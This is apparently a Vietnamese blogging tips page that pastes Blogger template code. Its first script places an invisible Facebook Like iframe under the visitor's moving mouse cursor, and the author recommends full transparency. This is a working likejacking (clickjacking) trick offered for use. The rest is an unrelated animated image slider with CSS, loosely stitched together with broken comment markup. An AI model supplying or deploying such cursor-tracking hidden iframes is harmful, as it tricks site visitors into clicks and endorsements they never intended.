Home » Tin Học






Hướng dẫn cách làm
Hướng dẫn cách làm








| Lựa chọn ảnh là Upload Image |
<head>
...
<script type='text/javascript'>
//<![CDATA[
var fan_page_url='https://www.facebook.com/Sviet'
var opacity=0.6;var time=4000;
//]]>
</script>
...
</head>- Nếu cho opacity=0 thì sẽ trong suốt (khuyến khích)<body>
...
<script type='text/javascript'>
//<![CDATA[
if((document.getElementById)&&window.addEventListener||window.attachEvent){(function(){var hairCol="#ff0000";var d=document;var my=-10;var mx=-10;var r;var vert="";var idx=document.getElementsByTagName('div').length;var thehairs="<iframe id='theiframe' scrolling='no' frameBorder='0' allowTransparency='true' src='http://www.facebook.com/widgets/like.php?href="+ encodeURIComponent(fan_page_url)+"&layout=standard&show_faces=true&width=53&action=like&colorscheme=light&height=80' style='position:absolute;width:53px;height:23px;overflow:hidden;border:0;opacity:"+ opacity+";filter:alpha(opacity="+ opacity*100+");'></iframe>";document.write(thehairs);var like=document.getElementById("theiframe");document.getElementsByTagName('body')[0].appendChild(like);var pix="px";var domWw=(typeof window.innerWidth=="number");var domSy=(typeof window.pageYOffset=="number");if(domWw)
r=window;else{if(d.documentElement&&typeof d.documentElement.clientWidth=="number"&&d.documentElement.clientWidth!=0)
r=d.documentElement;else{if(d.body&&typeof d.body.clientWidth=="number")
r=d.body;}}
if(time!=0){setTimeout(function(){document.getElementsByTagName('body')[0].removeChild(like);if(window.addEventListener){document.removeEventListener("mousemove",mouse,false);}
else if(window.attachEvent){document.detachEvent("onmousemove",mouse);}},time);}
function scrl(yx){var y,x;if(domSy){y=r.pageYOffset;x=r.pageXOffset;}
else{y=r.scrollTop;x=r.scrollLeft;}
return(yx==0)?y:x;}
function mouse(e){var msy=(domSy)?window.pageYOffset:0;if(!e)
e=window.event;if(typeof e.pageY=='number'){my=e.pageY- 5- msy;mx=e.pageX- 4;}
else{my=e.clientY- 6- msy;mx=e.clientX- 6;}
vert.top=my+ scrl(0)+ pix;vert.left=mx+ pix;}
function ani(){vert.top=my+ scrl(0)+ pix;setTimeout(ani,300);}
function init(){vert=document.getElementById("theiframe").style;ani();}
if(window.addEventListener){window.addEventListener("load",init,false);document.addEventListener("mousemove",mouse,false);}
else if(window.attachEvent){window.attachEvent("onload",init);document.attachEvent("onmousemove",mouse);}})();}
//]]>
</script>
...
</body>Không khuyến khích các bạn dùng đâu nhé vì anh google không thích đâu.
<link href='https://bloggertrixcode.googlecode.com/files/animate.css' rel='stylesheet' type='text/css'/>
<script src='https://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js'/>
<script src='https://bloggertrixcode.googlecode.com/files/border-slider.js'/>
<script>/****/
jQuery(document).ready(function(){
jQuery('#bloggertrix_slider').animatedSlider({
'loader':true,
'width':900,
'height':300,
'slide_animation_data' :
[//slides
//slide1 BEGIN
[
{
'target_element':'.txt1',
'animation_frame':0,
'animation_type':'tada'
},{
'target_element':'.txt2',
'animation_frame':0.8,
'animation_type':'tada'
}
],//slide1 END
//slide2 BEGIN
[{
'target_element':'img',
'animation_frame':0,
'animation_type':'bounceInUp'
},{
'target_element':'p',
'animation_frame':0.7,
'animation_type':'bounceInUp'
}],//slide2 END
//slide3 BEGIN
[{
'target_element':'img',
'animation_frame':0,
'animation_type':'bounceInUp'
},{
'target_element':'p',
'animation_frame':0.6,
'animation_type':'bounceInUp'
}],//slide3 END
//slide4 BEGIN
[{
'target_element':'img',
'animation_frame':0,
'animation_type':'bounceInUp'
},{
'target_element':'p',
'animation_frame':0.5,
'animation_type':'bounceInUp'
}],//slide4 END
//slide5 BEGIN
[{
'target_element':'img',
'animation_frame':0,
'animation_type':'bounceInUp'
},{
'target_element':'p',
'animation_frame':0.4,
'animation_type':'bounceInUp'
}],//slide5 END
//slide BEGIN
[{
'target_element':'h1',
'animation_frame':0,
'animation_type':'bounceInUp'
},{
'target_element':'p',
'animation_frame':0.3,
'animation_type':'bounceInUp'
}
]//slide END
]});});
</script>
<link href='http://fonts.googleapis.com/css?family=Kavoon' rel='stylesheet' type='text/css'/>
/* The CSS Code for the slider starts here bloggertrix.com
#bloggertrix_slider {margin:0 auto;}
#bloggertrix_slider .slider-contents {overflow:hidden;border:8px solid #DDDDDD;box-shadow:0 0 3px rgba(3,3,3,0.5);}
#bloggertrix_slider .slide-nav {float:left;padding: 0 8px;height: 26px;background: #3a3a3a;}
#bloggertrix_slider .slide-nav a {width: 14px;height: 14px;text-indent: -999px;float: left;list-style: none;display: block;background: #dddddd;margin: 5px 4px;cursor: pointer;}
#bloggertrix_slider .slide-nav a:hover {
background: #27BAFF !important;}
#bloggertrix_slider .progress-bar {width:0px;background-color:#AAAAAA;height:2px;top: -2px;overflow:visible !important;display:block !important;position: relative;}
#bloggertrix_slider .controls {height: 26px;margin: 4px auto 0;display: table;}
#bloggertrix_sliderr .pause-play-control {width: 46px;height: 26px;float: left;background: #3A3A3A;color: #fff;}
#bloggertrix_slider .pause-play-control a {width:9px;height: 19px;display:block;overflow:hidden;text-indent: -9999px;background:url('http://img837.imageshack.us/img837/7647/fqnu.png');cursor: pointer;margin:3px auto 0;}
#bloggertrix_slider .pause-play-control a.play-slide {background-position:-5px -3px;}
#bloggertrix_slider .pause-play-control a.pause-slide {background-position:-29px -3px;}
#bloggertrix_slider .slider-next,#bloggertrix_slider .slider-prev {
width: 46px;height: 46px;background: #3a3a3a;display: block;font-size: 41px;color: #FFF;font-weight: bold;text-align: center;position: absolute;cursor: pointer;text-indent: -999px;overflow: hidden;}
#bloggertrix_slider .slider-next:before,#bloggertrix_slider .slider-prev:before {background: #3a3a3a url('http://img837.imageshack.us/img837/7647/fqnu.png');width:32px;height:32px;position:relative;top:7px;left:7px;content:'';display:block;}
/*#bloggertrix_slider .slider-next {margin: -220px 0 0 681px;}
#bloggertrix_slider .slider-prev {margin: -220px 0 0 4px;}*/
#bloggertrix_slider .slider-next:before {background-position:-5px -31px;}
#bloggertrix_slider .slider-prev:before {background-position:-5px -70px;}
.slide1 img {position:relative;}
.img-logo {margin-left: 150px;}
.img-mobile {margin-top: 45px;}
.img-tablet {margin: -168px 0 0 139px;}
.img-laptop {margin: -186px 0 0 349px;}
.slide1 {background-color: #67b608}
.slide2 {background-color: #03bbd3}
.slide3 {background-color: #cf6b30}
.slide4 {background-color: #f2a87b}
.slide5 {background-color: #388efd}
<div id="bloggertrix_slider">
<div class="slide1">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXiVkG2hvFGrKOilZlqe8GQNvKqNh7lek8PTlvcCau5bFy4lLakWEqYBANMbNfX2CIRtmxAwhcCFoDcbVLjajrAuGhtiU1nGvkXiRMv38DkWDwthrL1zfa6_-FOVUfTeN5bDM2Dhac_fM/s1600/bloggertrix1.jpg" />
</div>
<div class="slide2">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigr3QfpUKcwTACFw33aTQCuJZ-8ZBdJiEU8cmge2EnY9FIC9L6XmJnGfJOlhx2yj5oEI7ri7MJH51kuzl-JF7gmhdrEGzwOGbFu_MJrvFK-Ki8rKnfHkGV1I1mJ0OP17KlrmCwfFTkfCQ/s1600/bloggertrix2.jpg" />
</div>
<div class="slide3">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh223uCGeik6Ji8Ct1zNOEqDb4k3zAWoUB1qrbjQwlL-bgT31D2X5xDKW1ktbu-7a94ZD59HumlDVv2SgboZ3TyGhFZrYocOaTXvGE98duRcicpA3kuZeuBsNnXFYNr8cr7J-PPtnAku9U/s1600/bloggertrix3.jpg" />
</div>
<div class="slide4">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUbPbB6rsugKE4_j2ubbnWTW68WnrI8f8dJ4YNGzA5giUNiJvy3mgNt8MxuQ9lIyjeeHyQmduXRBXtfIL6jhkYmKUxliP5GRCWRWlax_DBmVctFzQ_UgEck-aPZBo52mxjuWE0uOYaEIo/s1600/bloggertrix4.jpg" />
</div>
<div class="slide5">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9cwStYl_QvMb7Eve4mZYCV1taw3kcURAccJRR8HjlmhkIPjKynriVBzG6v0dE6H3Vzar84i2KLeXhZ8iZf36SC4d77MBLT4iveIdwKPjUoB7p9G3gqceTiz9tGaaqs0rr0nSCwp5wkLY/s1600/bloggertrix5.jpg" />
</div>
</div>| 5 phút để giấu kín toàn bộ quá khứ trên Facebook |

